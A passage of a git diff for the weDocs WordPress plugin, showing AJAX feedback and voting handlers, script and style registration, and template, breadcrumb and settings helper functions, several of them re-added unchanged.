+ // Get parents documentation. + $docs_tree['parents'][] = $doc; + continue; + } + + $is_section = $this->is_a_parent_doc( $doc->post_parent ); + if ( $is_section ) { + // Get sections documentation. + $docs_tree['sections'][] = $doc; + continue; + } + + // Get articles documentation. + $docs_tree['articles'][] = $doc; + } + + wp_send_json_success( $docs_tree ); + } + + /** + * Assume the user rated weDocs. + * + * @return void + */ + public function hide_wedocs_rating() { + check_ajax_referer( 'wedocs-admin-nonce' ); + + update_option( 'wedocs_admin_footer_text_rated', 'yes' ); + wp_send_json_success(); + } + + /** + * Store feedback for an article. + * + * @return void + */ + public function handle_feedback() { + check_ajax_referer( 'wedocs-ajax' ); + + $template = '
%s
'; + $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; + $post_id = intval( $_POST['post_id'] ); + $type = in_array( $_POST['type'], [ 'positive', 'negative' ] ) ? $_POST['type'] : false; + + // check previous response + if ( in_array( $post_id, $previous ) ) { + $message = sprintf( $template, 'danger', __( 'Sorry, we have already recorded your feedback!', 'wedocs' ) ); + wp_send_json_error( $message ); + } + + // seems new + if ( $type ) { + $count = (int) get_post_meta( $post_id, $type, true ); + update_post_meta( $post_id, $type, $count + 1 ); + + array_push( $previous, $post_id ); + $cookie_val = implode( ',', $previous ); + + $val = setcookie( 'wedocs_response', $cookie_val, time() + WEEK_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); + } + + $message = sprintf( $template, 'success', __( 'Thanks for your feedback!', 'wedocs' ) ); + wp_send_json_success( $message ); + } + + /** + * Send email feedback. + * + * @return void + */ + public function handle_contact() { + check_ajax_referer( 'wedocs-ajax' ); + + $name = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : ''; + $subject = isset( $_POST['subject'] ) ? sanitize_text_field( $_POST['subject'] ) : ''; + $message = isset( $_POST['message'] ) ? strip_tags( $_POST['message'] ) : ''; + $doc_id = isset( $_POST['doc_id'] ) ? intval( $_POST['doc_id'] ) : 0; + + if ( !is_user_logged_in() ) { + $email = isset( $_POST['email'] ) ? filter_var( $_POST['email'], FILTER_VALIDATE_EMAIL ) : false; + + if ( !$email ) { + wp_send_json_error( __( 'Please enter a valid email address.', 'wedocs' ) ); + } + } else { + $email = wp_get_current_user()->user_email; + } + + if ( empty( $subject ) ) { + wp_send_json_error( __( 'Please provide a subject line.', 'wedocs' ) ); + } + + if ( empty( $message ) ) { + wp_send_json_error( __( 'Please provide the message details.', 'wedocs' ) ); + } + + wedocs_doc_feedback_email( $doc_id, $name, $email, $subject, $message ); + + wp_send_json_success( __( 'Thanks for your feedback.', 'wedocs' ) ); + } + + /** + * Build a tree of docs with parent-child relation. + * + * @param array $docs + * @param int $parent + * + * @return array + */ + public function build_tree( $docs, $parent = 0 ) { + $result = []; + + if ( !$docs ) { + return $result; + } + + $post_type_object = get_post_type_object( 'docs' ); + + foreach ( $docs as $key => $doc ) { + if ( $doc->post_parent == $parent ) { + unset( $docs[ $key ] ); + + // build tree and sort + $child = $this->build_tree( $docs, $doc->ID ); + usort( $child, [ $this, 'sort_callback' ] ); + + $result[] = [ + 'post' => [ + 'id' => $doc->ID, + 'title' => $doc->post_title, + 'status' => $doc->post_status, + 'order' => $doc->menu_order, + 'caps' => [ + 'edit' => current_user_can( $post_type_object->cap->edit_post, $doc->ID ), + 'delete' => current_user_can( $post_type_object->cap->delete_post, $doc->ID ), + ], + ], + 'child' => $child, + ]; + } + } + + return $result; + } + + /** + * Sort callback for sorting posts with their menu order. + * + * @param array $a + * @param array $b + * + * @return int + */ + public function sort_callback( $a, $b ) { + return $a['post']['order'] - $b['post']['order']; + } + + /** + * Hide weDocs pro notice. + * + * @since 2.0.0 + * + * @return void + */ + public function hide_pro_notice() { + check_ajax_referer( 'wedocs-admin-nonce', 'nonce' ); + + $user_id = get_current_user_id(); + update_user_meta( $user_id, 'wedocs_hide_pro_notice', true ); + + wp_send_json_success(); + } + + /** + * Check this documentation is parent. + * + * @since 2.0.2 + * + * @param int $doc_id + * + * @return bool + */ + public function is_a_parent_doc( $doc_id ) { + return (int) wp_get_post_parent_id( $doc_id ) === 0; + } + + /** + * Handle helpful feedback voting. + * + * @since 2.1.0 + * + * @return void + */ + public function handle_helpful_feedback_vote() { + // Verify nonce for security + if ( ! wp_verify_nonce( $_POST['nonce'] ?? '', 'wedocs_helpful_feedback_nonce' ) ) { + wp_send_json_error( [ + 'message' => __( 'Security verification failed.', 'wedocs' ) + ] ); + } + + // Validate required fields + $post_id = intval( $_POST['post_id'] ?? 0 ); + $vote = sanitize_text_field( $_POST['vote'] ?? '' ); + $allow_anonymous = filter_var( $_POST['allow_anonymous'] ?? true, FILTER_VALIDATE_BOOLEAN ); + + if ( ! $post_id || ! in_array( $vote, [ 'yes', 'no' ] ) ) { + wp_send_json_error( [ + 'message' => __( 'Invalid voting data.', 'wedocs' ) + ] ); + } + + // Verify this is a docs post + if ( get_post_type( $post_id ) !== 'docs' ) { + wp_send_json_error( [ + 'message' => __( 'Invalid post type.', 'wedocs' ) + ] ); + } + + // Get current user ID and IP + $user_id = get_current_user_id(); + $user_ip = $_SERVER['REMOTE_ADDR'] ?? ''; + + // Check if user can vote + if ( ! $user_id && ! $allow_anonymous ) { + wp_send_json_error( [ + 'message' => __( 'You must be logged in to vote.', 'wedocs' ) + ] ); + } + + // Check if user has already voted + $has_voted = false; + + // Check cookie-based tracking (for compatibility with existing system) + $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; + if ( in_array( $post_id, $previous ) ) { + $has_voted = true; + } + + // Check user-specific voting records + if ( ! $has_voted && $user_id ) { + // Check by user ID + $user_vote = get_post_meta( $post_id, "wedocs_helpful_vote_user_{$user_id}", true ); + if ( $user_vote ) { + $has_voted = true; + } + } elseif ( ! $has_voted && $allow_anonymous && $user_ip ) { + // Check by IP for anonymous users + $ip_vote = get_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), true ); + if ( $ip_vote ) { + $has_voted = true; + } + } + + if ( $has_voted ) { + wp_send_json_error( [ + 'message' => __( 'You have already voted on this article.', 'wedocs' ) + ] ); + } + + // Record the vote + $vote_meta_key = $vote === 'yes' ? 'positive' : 'negative'; + $current_votes = (int) get_post_meta( $post_id, $vote_meta_key, true ); + update_post_meta( $post_id, $vote_meta_key, $current_votes + 1 ); + + // Record user vote to prevent duplicate voting + if ( $user_id ) { + update_post_meta( $post_id, "wedocs_helpful_vote_user_{$user_id}", $vote ); + } elseif ( $allow_anonymous && $user_ip ) { + update_post_meta( $post_id, "wedocs_helpful_vote_ip_" . md5( $user_ip ), $vote ); + } + + // Also update cookie-based tracking for compatibility with existing system + $previous = isset( $_COOKIE['wedocs_response'] ) ? explode( ',', $_COOKIE['wedocs_response'] ) : []; + array_push( $previous, $post_id ); + $cookie_val = implode( ',', $previous ); + setcookie( 'wedocs_response', $cookie_val, time() + WEEK_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); + + // Get updated vote counts + $yes_votes = (int) get_post_meta( $post_id, 'positive', true ); + $no_votes = (int) get_post_meta( $post_id, 'negative', true ); + + // Fire action hook for extensibility + do_action( 'wedocs_helpful_feedback_voted', $post_id, $vote, $user_id, $user_ip ); + + // Return success response + wp_send_json_success( [ + 'vote' => $vote, + 'yes_votes' => $yes_votes, + 'no_votes' => $no_votes, + 'message' => __( 'Thank you for your feedback!', 'wedocs' ) + ] ); + } +} diff --git a/includes/Assets.php b/includes/Assets.php index 32302481..7a96a57d 100644 --- a/includes/Assets.php +++ b/includes/Assets.php @@ -1,171 +1,171 @@ -plugin_url() . '/assets'; - $assets_path = wedocs()->plugin_path() . '/assets'; - - // Register admin scripts. - wp_register_script( - 'wedocs-admin-script', - $assets_url . '/js/admin-script.js', - array( 'jquery' ), - filemtime( $assets_path . '/js/admin-script.js' ), - true - ); - - wp_localize_script( - 'wedocs-admin-script', - 'weDocsAdminScriptVars', - array( - 'ajaxurl' => admin_url( 'admin-ajax.php' ), - 'nonce' => wp_create_nonce( 'wedocs-ajax' ), - ), - ); - - if ( file_exists( WEDOCS_PATH . '/assets/build/index.asset.php' ) ) { - $react_dependencies = require WEDOCS_PATH . '/assets/build/index.asset.php'; - - // Adding wedocs necessary assets. - wp_register_style( - 'wedocs-app-style', - $assets_url . '/build/index.css', - $react_dependencies['version'], - ); - - wp_register_script( - 'wedocs-app-script', - $assets_url . '/build/index.js', - $react_dependencies['dependencies'], - $react_dependencies['version'], - true - ); - - wp_localize_script( - 'wedocs-app-script', - 'weDocsAdminVars', - array( - 'adminUrl' => admin_url(), - 'hasManageCap' => current_user_can( 'manage_options' ), - 'aiProviderConfigs' => wedocs_get_ai_provider_configs(), - 'adminUrl' => admin_url(), - 'hasManageCap' => current_user_can( 'manage_options' ), - 'weDocsUrl' => admin_url( 'admin.php?page=wedocs#/' ), - 'pro_active' => wedocs_is_pro_active(), - ), - ); - } - - if ( file_exists( WEDOCS_PATH . '/assets/build/block.asset.php' ) ) { - $block_dependencies = require WEDOCS_PATH . '/assets/build/block.asset.php'; - wp_register_style( - 'wedocs-block-style', - $assets_url . '/build/style-block.css', - $block_dependencies['version'] - ); - - wp_register_script( - 'wedocs-block-script', - $assets_url . '/build/block.js', - $block_dependencies['dependencies'], - $block_dependencies['version'], - true - ); - - wp_localize_script( - 'wedocs-block-script', - 'weDocsBlockVars', - array( 'siteUrl' => site_url() ), - ); - } - - // Register editor scripts for AI Doc Writer - if ( file_exists( WEDOCS_PATH . '/assets/build/editor.asset.php' ) ) { - $editor_dependencies = require WEDOCS_PATH . '/assets/build/editor.asset.php'; - - wp_register_script( - 'wedocs-editor-script', - $assets_url . '/build/editor.js', - $editor_dependencies['dependencies'], - $editor_dependencies['version'], - true - ); - - wp_localize_script( - 'wedocs-editor-script', - 'weDocsEditorVars', - array( - 'ajaxurl' => admin_url( 'admin-ajax.php' ), - 'nonce' => wp_create_nonce( 'wp_rest' ), - 'aiProviderConfigs' => wedocs_get_ai_provider_configs(), - ), - ); - } - - wp_enqueue_style( 'wedocs-block-style' ); - } - - /** - * Register script translations. - * - * @since 2.0.2 - * - * @return void - */ - public function register_translations() { - wp_set_script_translations( - 'wedocs-app-script', - 'wedocs', - plugin_dir_path( WEDOCS_FILE ) . 'languages' - ); - } - - /** - * Enqueue admin scripts. - * - * @since 2.0.2 - * - * @return void - */ - public function admin_enqueue() { - wp_enqueue_style( 'wedocs-block-style' ); - - // Enqueue admin script. - wp_enqueue_script( 'wedocs-admin-script' ); - wp_enqueue_script( 'wedocs-block-script' ); - - // Enqueue admin app scripts. - if ( 'toplevel_page_wedocs' === get_current_screen()->id ) { - wp_enqueue_style( 'wedocs-app-style' ); - wp_enqueue_script( 'wedocs-app-script' ); - } - - // Enqueue editor scripts for docs post type - $screen = get_current_screen(); - if ( $screen && ( 'post' === $screen->base && 'docs' === $screen->post_type ) ) { - wp_enqueue_script( 'wedocs-editor-script' ); - } - } -} +plugin_url() . '/assets'; + $assets_path = wedocs()->plugin_path() . '/assets'; + + // Register admin scripts. + wp_register_script( + 'wedocs-admin-script', + $assets_url . '/js/admin-script.js', + array( 'jquery' ), + filemtime( $assets_path . '/js/admin-script.js' ), + true + ); + + wp_localize_script( + 'wedocs-admin-script', + 'weDocsAdminScriptVars', + array( + 'ajaxurl' => admin_url( 'admin-ajax.php' ), + 'nonce' => wp_create_nonce( 'wedocs-ajax' ), + ), + ); + + if ( file_exists( WEDOCS_PATH . '/assets/build/index.asset.php' ) ) { + $react_dependencies = require WEDOCS_PATH . '/assets/build/index.asset.php'; + + // Adding wedocs necessary assets. + wp_register_style( + 'wedocs-app-style', + $assets_url . '/build/index.css', + $react_dependencies['version'], + ); + + wp_register_script( + 'wedocs-app-script', + $assets_url . '/build/index.js', + $react_dependencies['dependencies'], + $react_dependencies['version'], + true + ); + + wp_localize_script( + 'wedocs-app-script', + 'weDocsAdminVars', + array( + 'adminUrl' => admin_url(), + 'hasManageCap' => current_user_can( 'manage_options' ), + 'aiProviderConfigs' => wedocs_get_ai_provider_configs(), + 'adminUrl' => admin_url(), + 'hasManageCap' => current_user_can( 'manage_options' ), + 'weDocsUrl' => admin_url( 'admin.php?page=wedocs#/' ), + 'pro_active' => wedocs_is_pro_active(), + ), + ); + } + + if ( file_exists( WEDOCS_PATH . '/assets/build/block.asset.php' ) ) { + $block_dependencies = require WEDOCS_PATH . '/assets/build/block.asset.php'; + wp_register_style( + 'wedocs-block-style', + $assets_url . '/build/style-block.css', + $block_dependencies['version'] + ); + + wp_register_script( + 'wedocs-block-script', + $assets_url . '/build/block.js', + $block_dependencies['dependencies'], + $block_dependencies['version'], + true + ); + + wp_localize_script( + 'wedocs-block-script', + 'weDocsBlockVars', + array( 'siteUrl' => site_url() ), + ); + } + + // Register editor scripts for AI Doc Writer + if ( file_exists( WEDOCS_PATH . '/assets/build/editor.asset.php' ) ) { + $editor_dependencies = require WEDOCS_PATH . '/assets/build/editor.asset.php'; + + wp_register_script( + 'wedocs-editor-script', + $assets_url . '/build/editor.js', + $editor_dependencies['dependencies'], + $editor_dependencies['version'], + true + ); + + wp_localize_script( + 'wedocs-editor-script', + 'weDocsEditorVars', + array( + 'ajaxurl' => admin_url( 'admin-ajax.php' ), + 'nonce' => wp_create_nonce( 'wp_rest' ), + 'aiProviderConfigs' => wedocs_get_ai_provider_configs(), + ), + ); + } + + wp_enqueue_style( 'wedocs-block-style' ); + } + + /** + * Register script translations. + * + * @since 2.0.2 + * + * @return void + */ + public function register_translations() { + wp_set_script_translations( + 'wedocs-app-script', + 'wedocs', + plugin_dir_path( WEDOCS_FILE ) . 'languages' + ); + } + + /** + * Enqueue admin scripts. + * + * @since 2.0.2 + * + * @return void + */ + public function admin_enqueue() { + wp_enqueue_style( 'wedocs-block-style' ); + + // Enqueue admin script. + wp_enqueue_script( 'wedocs-admin-script' ); + wp_enqueue_script( 'wedocs-block-script' ); + + // Enqueue admin app scripts. + if ( 'toplevel_page_wedocs' === get_current_screen()->id ) { + wp_enqueue_style( 'wedocs-app-style' ); + wp_enqueue_script( 'wedocs-app-script' ); + } + + // Enqueue editor scripts for docs post type + $screen = get_current_screen(); + if ( $screen && ( 'post' === $screen->base && 'docs' === $screen->post_type ) ) { + wp_enqueue_script( 'wedocs-editor-script' ); + } + } +} diff --git a/includes/Frontend.php b/includes/Frontend.php index 14abb696..a2b2bdf9 100644 --- a/includes/Frontend.php +++ b/includes/Frontend.php @@ -1,179 +1,179 @@ -init_classes(); - } - - /** - * Initialize the classes - * - * @return void - */ - public function init_classes() { - $this->shortcode = new Shortcode(); - $this->theme = new Theme_Support(); - } - - /** - * Enqueue admin scripts. - * - * Allows plugin assets to be loaded. - * - * @uses wp_enqueue_script() - * @uses wp_localize_script() - * @uses wp_enqueue_style - */ - public function register_scripts() { - // All styles goes here - wp_register_style( 'wedocs-styles', WEDOCS_ASSETS . '/build/frontend.css', [], filemtime( WEDOCS_PATH . '/assets/build/frontend.css' ) ); - - // All scripts goes here - wp_register_script( 'wedocs-anchorjs', WEDOCS_ASSETS . '/js/anchor.min.js', [ 'jquery' ], WEDOCS_VERSION, true ); - wp_register_script( 'wedocs-scripts', WEDOCS_ASSETS . '/js/frontend.js', [ 'jquery', 'wedocs-anchorjs' ], filemtime( WEDOCS_PATH . '/assets/js/frontend.js' ), true ); - - $store_dependencies = require WEDOCS_PATH . '/assets/build/store.asset.php'; - wp_register_script( 'wedocs-store-js', WEDOCS_ASSETS . '/build/store.js', $store_dependencies['dependencies'], $store_dependencies['version'], true ); - - ob_start(); - wedocs_get_template_part( 'modals/search', 'modal' ); - $searchModal = ob_get_clean(); - - wp_localize_script( 'wedocs-scripts', 'weDocs_Vars', [ - 'nonce' => wp_create_nonce( 'wedocs-ajax' ), - 'style' => WEDOCS_ASSETS . '/build/print.css?v=10', - 'ajaxurl' => admin_url( 'admin-ajax.php' ), - 'powered' => sprintf( '© %s, %d. %s
%s', get_bloginfo( 'name' ), date( 'Y' ), __( 'Powered by weDocs plugin for WordPress', 'wedocs' ), home_url() ), - 'isSingleDoc' => is_singular( 'docs' ), - 'searchModal' => $searchModal, - 'docNavLabel' => __( 'Doc: ', 'wedocs' ), - 'searchBlankMsg' => __( 'Search field cannot be blank', 'wedocs' ), - 'searchEmptyMsg' => __( 'Your search didn\'t match any documents', 'wedocs' ), - 'sectionNavLabel' => __( 'Section: ', 'wedocs' ), - 'searchModalColors' => wedocs_get_search_modal_active_colors(), - ] ); - } - - /** - * Enqueue scripts only for singular docs - * - * @since 1.6.1 - * - * @return void - */ - public function enqueue_single_scripts() { - if ( is_singular( 'docs' ) ) { - self::enqueue_assets(); - } - } - - /** - * Enqueue the scripts and styles - * - * @since 1.6.1 - * - * @return void - */ - public static function enqueue_assets() { - wp_enqueue_style( 'wedocs-styles' ); - - wp_enqueue_script( 'wedocs-anchorjs' ); - wp_enqueue_script( 'wedocs-scripts' ); - } - - /** - * Handle the search filtering in search page. - * - * @param WP_Query $query - * - * @return void - */ - public function docs_search_filter( $query ) { - if ( ! $query->is_main_query() ) { - return; - } - - if ( ! is_search() ) { - return; - } - - $param = isset( $_GET['search_in_doc'] ) ? sanitize_text_field( $_GET['search_in_doc'] ) : false; - - if ( $param && 'all' != $param ) { - $parent_doc_id = intval( $param ); - $post__in = [ $parent_doc_id => $parent_doc_id ]; - $children_docs = wedocs_get_posts_children( $parent_doc_id, 'docs' ); - - if ( $children_docs ) { - $post__in = array_merge( $post__in, wp_list_pluck( $children_docs, 'ID' ) ); - } - - $query->set( 'post__in', $post__in ); - } - } - - /** - * If the theme doesn't have any single doc handler, load that from - * the plugin. - * - * @param string $template - * - * @return string - */ - public function template_loader( $template ) { - $find = [ 'docs.php' ]; - $file = ''; - - if ( is_single() && get_post_type() == 'docs' ) { - $file = 'single-docs.php'; - $find[] = $file; - $find[] = wedocs()->theme_dir_path() . $file; - } - - if ( $file ) { - $template = locate_template( $find ); - - if ( !$template ) { - $template = wedocs()->template_path() . $file; - } - } - - return $template; - } -} +init_classes(); + } + + /** + * Initialize the classes + * + * @return void + */ + public function init_classes() { + $this->shortcode = new Shortcode(); + $this->theme = new Theme_Support(); + } + + /** + * Enqueue admin scripts. + * + * Allows plugin assets to be loaded. + * + * @uses wp_enqueue_script() + * @uses wp_localize_script() + * @uses wp_enqueue_style + */ + public function register_scripts() { + // All styles goes here + wp_register_style( 'wedocs-styles', WEDOCS_ASSETS . '/build/frontend.css', [], filemtime( WEDOCS_PATH . '/assets/build/frontend.css' ) ); + + // All scripts goes here + wp_register_script( 'wedocs-anchorjs', WEDOCS_ASSETS . '/js/anchor.min.js', [ 'jquery' ], WEDOCS_VERSION, true ); + wp_register_script( 'wedocs-scripts', WEDOCS_ASSETS . '/js/frontend.js', [ 'jquery', 'wedocs-anchorjs' ], filemtime( WEDOCS_PATH . '/assets/js/frontend.js' ), true ); + + $store_dependencies = require WEDOCS_PATH . '/assets/build/store.asset.php'; + wp_register_script( 'wedocs-store-js', WEDOCS_ASSETS . '/build/store.js', $store_dependencies['dependencies'], $store_dependencies['version'], true ); + + ob_start(); + wedocs_get_template_part( 'modals/search', 'modal' ); + $searchModal = ob_get_clean(); + + wp_localize_script( 'wedocs-scripts', 'weDocs_Vars', [ + 'nonce' => wp_create_nonce( 'wedocs-ajax' ), + 'style' => WEDOCS_ASSETS . '/build/print.css?v=10', + 'ajaxurl' => admin_url( 'admin-ajax.php' ), + 'powered' => sprintf( '© %s, %d. %s
%s', get_bloginfo( 'name' ), date( 'Y' ), __( 'Powered by weDocs plugin for WordPress', 'wedocs' ), home_url() ), + 'isSingleDoc' => is_singular( 'docs' ), + 'searchModal' => $searchModal, + 'docNavLabel' => __( 'Doc: ', 'wedocs' ), + 'searchBlankMsg' => __( 'Search field cannot be blank', 'wedocs' ), + 'searchEmptyMsg' => __( 'Your search didn\'t match any documents', 'wedocs' ), + 'sectionNavLabel' => __( 'Section: ', 'wedocs' ), + 'searchModalColors' => wedocs_get_search_modal_active_colors(), + ] ); + } + + /** + * Enqueue scripts only for singular docs + * + * @since 1.6.1 + * + * @return void + */ + public function enqueue_single_scripts() { + if ( is_singular( 'docs' ) ) { + self::enqueue_assets(); + } + } + + /** + * Enqueue the scripts and styles + * + * @since 1.6.1 + * + * @return void + */ + public static function enqueue_assets() { + wp_enqueue_style( 'wedocs-styles' ); + + wp_enqueue_script( 'wedocs-anchorjs' ); + wp_enqueue_script( 'wedocs-scripts' ); + } + + /** + * Handle the search filtering in search page. + * + * @param WP_Query $query + * + * @return void + */ + public function docs_search_filter( $query ) { + if ( ! $query->is_main_query() ) { + return; + } + + if ( ! is_search() ) { + return; + } + + $param = isset( $_GET['search_in_doc'] ) ? sanitize_text_field( $_GET['search_in_doc'] ) : false; + + if ( $param && 'all' != $param ) { + $parent_doc_id = intval( $param ); + $post__in = [ $parent_doc_id => $parent_doc_id ]; + $children_docs = wedocs_get_posts_children( $parent_doc_id, 'docs' ); + + if ( $children_docs ) { + $post__in = array_merge( $post__in, wp_list_pluck( $children_docs, 'ID' ) ); + } + + $query->set( 'post__in', $post__in ); + } + } + + /** + * If the theme doesn't have any single doc handler, load that from + * the plugin. + * + * @param string $template + * + * @return string + */ + public function template_loader( $template ) { + $find = [ 'docs.php' ]; + $file = ''; + + if ( is_single() && get_post_type() == 'docs' ) { + $file = 'single-docs.php'; + $find[] = $file; + $find[] = wedocs()->theme_dir_path() . $file; + } + + if ( $file ) { + $template = locate_template( $find ); + + if ( !$template ) { + $template = wedocs()->template_path() . $file; + } + } + + return $template; + } +} diff --git a/includes/functions.php b/includes/functions.php index 381d3261..bdf09985 100644 --- a/includes/functions.php +++ b/includes/functions.php @@ -1,672 +1,672 @@ - false, - ); - - $args = wp_parse_args( $args, $defaults ); - if ( $args && is_array( $args ) ) { - extract( $args ); // phpcs:ignore - } - - $wedocs = ! empty( $args['pro'] ) && true === $args['pro'] ? WeDocs_Pro::init() : WeDocs::init(); - $template = ''; - - // Look in yourtheme/wedocs/slug-name.php and yourtheme/wedocs/slug.php. - $template_path = ! empty( $name ) ? "{$slug}-{$name}.php" : "{$slug}.php"; - $template = locate_template( [ $wedocs->theme_dir_path() . $template_path ] ); - - $template_path = apply_filters( 'wedocs_set_template_path', $wedocs->plugin_path() . '/templates', $template, $args ); - - // Get default slug-name.php. - if ( ! $template && $name && file_exists( $template_path . "/{$slug}-{$name}.php" ) ) { - $template = $template_path . "/{$slug}-{$name}.php"; - } - - if ( ! $template && ! $name && file_exists( $template_path . "/{$slug}.php" ) ) { - $template = $template_path . "/{$slug}.php"; - } - - // Allow 3rd party plugin filter template file from their plugin - $template = apply_filters( 'wedocs_get_template_part', $template, $slug, $name ); - - if ( $template ) { - include $template; - } -} - -/** - * Include a template by precedance. - * - * Looks at the theme directory first - * - * @param string $template_name - * @param array $args - * - * @return void - */ -function wedocs_get_template( $template_name, $args = [] ) { - $wedocs = ! empty( $args['pro'] ) && true === $args['pro'] ? WeDocs_Pro::init() :WeDocs::init(); - - if ( $args && is_array( $args ) ) { - extract( $args ); - } - - $template = locate_template( [ - $wedocs->theme_dir_path . $template_name, - $template_name, - ] ); - - if ( !$template ) { - $template = $wedocs->template_path() . $template_name; - } - - if ( file_exists( $template ) ) { - include $template; - } -} - -/** - * Control display content length. - * - * @since 2.0.0 - * - * @param string $content - * @param int $max_content_number - * - * @return string - */ -function wedocs_apply_short_content( $content, $max_content_number ) { - // Control content length by substr. - return ( strlen( $content ) > $max_content_number ) ? mb_substr( $content, 0, $max_content_number ) . '...' : $content; -} - -if ( !function_exists( 'wedocs_breadcrumbs' ) ) { - - /** - * Docs breadcrumb. - * - * @return void - */ - function wedocs_breadcrumbs() { - global $post; - - $html = ''; - $args = apply_filters( 'wedocs_breadcrumbs', [ - 'delimiter' => '
  • ', - 'home' => __( 'Home', 'wedocs' ), - 'before' => '
  • ', - 'after' => '
  • ', - ] ); - - $breadcrumb_position = 1; - - $html .= '
      '; - $html .= '
    1. '; - $html .= wedocs_get_breadcrumb_item( $args['home'], home_url( '/' ), $breadcrumb_position ); - $html .= $args['delimiter']; - - // Collect documentation home page settings. - $docs_home = wedocs_get_general_settings( 'docs_home' ); - - if ( $docs_home ) { - ++$breadcrumb_position; - - $html .= wedocs_get_breadcrumb_item( __( 'Docs', 'wedocs' ), get_permalink( $docs_home ), $breadcrumb_position ); - $html .= $args['delimiter']; - } - - if ( 'docs' == $post->post_type && $post->post_parent ) { - $parent_id = $post->post_parent; - $breadcrumbs = []; - - while ( $parent_id ) { - ++$breadcrumb_position; - - $page = get_post( $parent_id ); - $breadcrumbs[] = wedocs_get_breadcrumb_item( get_the_title( $page->ID ), get_permalink( $page->ID ), $breadcrumb_position ); - $parent_id = $page->post_parent; - } - - $breadcrumbs = array_reverse( $breadcrumbs ); - - for ( $i = 0; $i < count( $breadcrumbs ); ++$i ) { - $html .= $breadcrumbs[$i]; - $html .= ' ' . $args['delimiter'] . ' '; - } - } - - $html .= ' ' . $args['before'] . get_the_title() . $args['after']; - - $html .= '
    '; - - echo apply_filters( 'wedocs_breadcrumbs_html', $html, $args ); - } -} - -if ( !function_exists( 'wedocs_get_breadcrumb_item' ) ) { - - /** - * Schema.org breadcrumb item wrapper for a link. - * - * @param string $label - * @param string $permalink - * @param int $position - * - * @return string - */ - function wedocs_get_breadcrumb_item( $label, $permalink, $position = 1 ) { - $breadcrumb_label = wedocs_apply_short_content( $label, 25 ); - - return apply_filters( - 'wedocs_breadcrumbs_items', - '
  • - - ' . esc_html( $breadcrumb_label ) . ' - -
  • ' - ); - } -} - -/** - * Next, previous post navigation for a single doc. - * - * @return void - */ -function wedocs_doc_nav() { - global $post, $wpdb; - - $next_query = "SELECT ID FROM {$wpdb->posts} - WHERE post_parent = {$post->post_parent} and post_type = 'docs' and post_status = 'publish' and menu_order > {$post->menu_order} - ORDER BY menu_order ASC - LIMIT 0, 1"; - - $prev_query = "SELECT ID FROM {$wpdb->posts} - WHERE post_parent = {$post->post_parent} and post_type = 'docs' and post_status = 'publish' and menu_order < {$post->menu_order} - ORDER BY menu_order DESC - LIMIT 0, 1"; - - $next_post_id = (int) $wpdb->get_var( $next_query ); - $prev_post_id = (int) $wpdb->get_var( $prev_query ); - - if ( $next_post_id || $prev_post_id ) { - echo ''; - } -} - -if ( !function_exists( 'wedocs_get_posts_children' ) ) { - - /** - * Recursively fetch child posts. - * - * @param int $parent_id - * @param string $post_type - * - * @return array - */ - function wedocs_get_posts_children( $parent_id, $post_type = 'page', $custom_args = array() ) { - $children = array(); - - $default = array( - 'numberposts' => -1, - 'post_status' => 'publish', - 'post_type' => $post_type, - 'post_parent' => $parent_id, - 'suppress_filters' => false, - ); - - // Parse posts arguments. - $args = wp_parse_args( $custom_args, $default ); - - // grab the posts children - $posts = get_posts( $args ); - - // now grab the grand children - foreach ( $posts as $child ) { - // recursion!! hurrah - $gchildren = wedocs_get_posts_children( $child->ID, $post_type ); - - // merge the grand children into the children array - if ( !empty( $gchildren ) ) { - $children = array_merge( $children, $gchildren ); - } - } - - // merge in the direct descendants we found earlier - $children = array_merge( $children, $posts ); - - return $children; - } -} - -/** - * Retrieve the tags for a doc formatted as a string. - * - * @param string $before Optional. Before tags. - * @param string $sep Optional. Between tags. - * @param string $after Optional. After tags. - * @param int $id Optional. Post ID. Defaults to the current post. - * - * @return string|false|WP_Error a list of tags on success, false if there are no terms, WP_Error on failure - */ -function wedocs_get_the_doc_tags( $post_id, $before = '', $sep = '', $after = '' ) { - return get_the_term_list( $post_id, 'doc_tag', $before, $sep, $after ); -} - -// Check if QTranslate plugin is active before function declaration -$is_qtranslate = wedocs_is_plugin_active( 'qtranslate-x/qtranslate.php' ); - -if ( $is_qtranslate ) { - /** - * Translate dynamic text with QTranslate X plugin. - * - * @param string $text the multilingual text - * - * @return string the translated text - */ - function wedocs_translate_text_with_qtranslate( $text ) { - return apply_filters( 'translate_text', $text ); - } - - add_filter( 'wedocs_translate_text', 'wedocs_translate_text_with_qtranslate', 10, 1 ); -} - -/** - * Check if a plugin is active. - * - * @param string $plugin_path_and_name the plugin relative path and filename of the plugin main file - * - * @return bool whether the plugin is active or not - */ -function wedocs_is_plugin_active( $plugin_path_and_name ) { - if ( ! function_exists( 'is_plugin_active' ) ) { - include_once ABSPATH . 'wp-admin/includes/plugin.php'; - } - - return is_plugin_active( $plugin_path_and_name ); -} - -/** - * Get the value of a settings field. - * - * @param string $option settings field name - * @param string $section the section name this field belongs to - * @param string $default default text if it's not found - * - * @return mixed - */ -function wedocs_get_option( $option, $section, $default = '' ) { - $options = get_option( $section ); - - if ( isset( $options[ $option ] ) ) { - return $options[ $option ]; - } - - return $default; -} - -/** - * Get the value of general settings. - * - * @since 2.0.0 - * - * @param string $field_name general settings field name. - * @param string $default default data if settings not found. - * - * @return mixed - */ -function wedocs_get_general_settings( $field_name = '', $default = '' ) { - $general_settings = wedocs_get_option( 'general', 'wedocs_settings', [] ); - - if ( ! empty( $field_name ) ) { - $wedocs_field_data = wedocs_get_option( $field_name, 'wedocs_settings', $default ); - - // Check from general settings if not found then collect data from wedocs_settings. - return ! empty( $general_settings[ $field_name ] ) ? $general_settings[ $field_name ] : $wedocs_field_data; - } - - return $general_settings; -} - -/** - * Get a clients IP address. - * - * @return string - */ -function wedocs_get_ip_address() { - $ipaddress = ''; - - if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) { - $ipaddress = $_SERVER['HTTP_CLIENT_IP']; - } elseif ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { - $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']; - } elseif ( isset( $_SERVER['HTTP_X_FORWARDED'] ) ) { - $ipaddress = 